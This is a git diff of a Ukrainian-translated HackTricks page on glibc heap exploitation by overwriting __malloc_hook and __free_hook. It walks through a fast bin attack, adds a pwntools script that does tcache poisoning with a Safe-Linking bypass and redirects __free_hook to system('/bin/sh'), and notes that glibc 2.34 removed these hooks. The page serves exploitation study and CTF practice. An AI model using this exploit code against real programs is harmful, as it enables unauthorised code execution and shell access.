mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
4125f147cc
commit
17a38247fd
@ -1,4 +1,4 @@
|
|||||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
# WWW2Exec - __malloc_hook & __free_hook
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -25,11 +25,11 @@
|
|||||||
../libc-heap/unsorted-bin-attack.md
|
../libc-heap/unsorted-bin-attack.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Можна знайти адресу `__free_hook`, якщо бінарний файл має символи, використовуючи наступну команду:
|
Можливо знайти адресу `__free_hook`, якщо бінарний файл має символи, використовуючи наступну команду:
|
||||||
```bash
|
```bash
|
||||||
gef➤ p &__free_hook
|
gef➤ p &__free_hook
|
||||||
```
|
```
|
||||||
[У пості](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) ви знайдете покрокову інструкцію про те, як знайти адресу free hook без символів. У підсумку, у функції free:
|
[У пості](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) ви можете знайти покрокову інструкцію про те, як знайти адресу free hook без символів. У підсумку, у функції free:
|
||||||
|
|
||||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||||
0xf75dedc0 <free>: push ebx
|
0xf75dedc0 <free>: push ebx
|
||||||
@ -43,11 +43,11 @@ gef➤ p &__free_hook
|
|||||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
У зазначеній точці зупинки в попередньому коді в `$eax` буде знаходитися адреса free hook.
|
У зазначеному місці зупинки в попередньому коді в `$eax` буде знаходитися адреса free hook.
|
||||||
|
|
||||||
Тепер виконується **fast bin attack**:
|
Тепер виконується **атака на швидкі контейнери**:
|
||||||
|
|
||||||
- По-перше, виявлено, що можливо працювати з швидкими **chunks розміром 200** у місці **`__free_hook`**:
|
- По-перше, виявлено, що можливо працювати з швидкими **контейнерами розміром 200** у місці **`__free_hook`**:
|
||||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||||
@ -56,15 +56,80 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
|||||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||||
</code></pre>
|
</code></pre>
|
||||||
- Якщо нам вдасться отримати швидкий chunk розміром 0x200 у цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана
|
- Якщо нам вдасться отримати швидкий контейнер розміром 0x200 у цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана.
|
||||||
- Для цього створюється новий chunk розміром `0xfc` і злиту функцію викликають з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнений chunk розміром `0xfc*2 = 0x1f8` у швидкому біні.
|
- Для цього створюється новий контейнер розміром `0xfc`, і об'єднана функція викликається з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнений контейнер розміром `0xfc*2 = 0x1f8` у швидкому контейнері.
|
||||||
- Потім викликається функція редагування в цьому chunk, щоб змінити адресу **`fd`** цього швидкого біна, щоб вказувати на попередню функцію **`__free_hook`**.
|
- Потім викликається функція редагування в цьому контейнері, щоб змінити адресу **`fd`** цього швидкого контейнера, щоб вона вказувала на попередню функцію **`__free_hook`**.
|
||||||
- Потім створюється chunk розміром `0x1f8`, щоб отримати з швидкого біна попередній непотрібний chunk, тому створюється ще один chunk розміром `0x1f8`, щоб отримати швидкий chunk у **`__free_hook`**, який перезаписується адресою функції **`system`**.
|
- Потім створюється контейнер розміром `0x1f8`, щоб отримати з швидкого контейнера попередній непотрібний контейнер, тому створюється ще один контейнер розміром `0x1f8`, щоб отримати швидкий контейнер у **`__free_hook`**, який перезаписується адресою функції **`system`**.
|
||||||
- І нарешті, звільняється chunk, що містить рядок `/bin/sh\x00`, викликаючи функцію видалення, що викликає функцію **`__free_hook`**, яка вказує на system з `/bin/sh\x00` як параметром.
|
- І нарешті, контейнер, що містить рядок `/bin/sh\x00`, звільняється, викликаючи функцію видалення, що викликає функцію **`__free_hook`**, яка вказує на system з `/bin/sh\x00` як параметром.
|
||||||
|
|
||||||
## References
|
---
|
||||||
|
|
||||||
|
## Отруєння Tcache & Safe-Linking (glibc 2.32 – 2.33)
|
||||||
|
|
||||||
|
glibc 2.32 представив **Safe-Linking** – перевірку цілісності, яка захищає *одинарні* зв'язані списки, що використовуються **tcache** та швидкими контейнерами. Замість того, щоб зберігати сирий прямий вказівник (`fd`), ptmalloc тепер зберігає його *обфускованим* за допомогою наступного макросу:
|
||||||
|
```c
|
||||||
|
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||||
|
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||||
|
```
|
||||||
|
Наслідки для експлуатації:
|
||||||
|
|
||||||
|
1. **heap leak** є обов'язковим – зловмисник повинен знати значення `chunk_addr >> 12` під час виконання, щоб створити дійсний обфусцований вказівник.
|
||||||
|
2. Можна підробити лише *повний* 8-байтовий вказівник; часткові перезаписи одного байта не пройдуть перевірку.
|
||||||
|
|
||||||
|
Мінімальний примітив отруєння tcache, який перезаписує `__free_hook` на glibc 2.32/2.33, виглядає так:
|
||||||
|
```py
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||||
|
p = process("./vuln")
|
||||||
|
|
||||||
|
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||||
|
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||||
|
heap_base = heap_leak & ~0xfff
|
||||||
|
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||||
|
log.success(f"heap @ {hex(heap_base)}")
|
||||||
|
|
||||||
|
# 2. Prepare two same-size chunks and double-free one of them
|
||||||
|
a = malloc(0x48)
|
||||||
|
b = malloc(0x48)
|
||||||
|
free(a)
|
||||||
|
free(b)
|
||||||
|
free(a) # tcache double-free ⇒ poisoning primitive
|
||||||
|
|
||||||
|
# 3. Forge obfuscated fd that points to __free_hook
|
||||||
|
free_hook = libc.sym['__free_hook']
|
||||||
|
poison = free_hook ^ fd_key
|
||||||
|
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||||
|
|
||||||
|
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||||
|
malloc(0x48) # returns chunk a
|
||||||
|
c = malloc(0x48) # returns chunk @ __free_hook
|
||||||
|
edit(c, p64(libc.sym['system']))
|
||||||
|
|
||||||
|
# 5. Trigger
|
||||||
|
bin_sh = malloc(0x48)
|
||||||
|
edit(bin_sh, b"/bin/sh\x00")
|
||||||
|
free(bin_sh)
|
||||||
|
```
|
||||||
|
Фрагмент вище був адаптований з недавніх CTF викликів, таких як *UIUCTF 2024 – «Rusty Pointers»* та *openECSC 2023 – «Babyheap G»*, обидва з яких покладалися на обходи Safe-Linking для перезапису `__free_hook`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Що змінилося в glibc ≥ 2.34?
|
||||||
|
|
||||||
|
Починаючи з **glibc 2.34 (серпень 2021)**, хуки виділення пам'яті `__malloc_hook`, `__realloc_hook`, `__memalign_hook` та `__free_hook` були **видалені з публічного API і більше не викликаються аллокатором**. Символи сумісності все ще експортуються для застарілих бінарних файлів, але їх перезапис більше не впливає на контрольний потік `malloc()` або `free()`.
|
||||||
|
|
||||||
|
Практичне значення: на сучасних дистрибутивах (Ubuntu 22.04+, Fedora 35+, Debian 12 тощо) ви повинні перейти на *інші* примітиви захоплення (IO-FILE, `__run_exit_handlers`, розпилення vtable тощо), оскільки перезаписи хуків будуть тихо зазнавати невдачі.
|
||||||
|
|
||||||
|
Якщо вам все ще потрібна стара поведінка для налагодження, glibc постачає `libc_malloc_debug.so`, який можна попередньо завантажити, щоб повторно активувати застарілі хуки – але бібліотека **не призначена для виробництва і може зникнути в майбутніх випусках**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||||
|
- Safe-Linking – Усунення 20-річного експлойту malloc() (Check Point Research, 2020)
|
||||||
|
- примітки до випуску glibc 2.34 – видалення malloc хуків
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user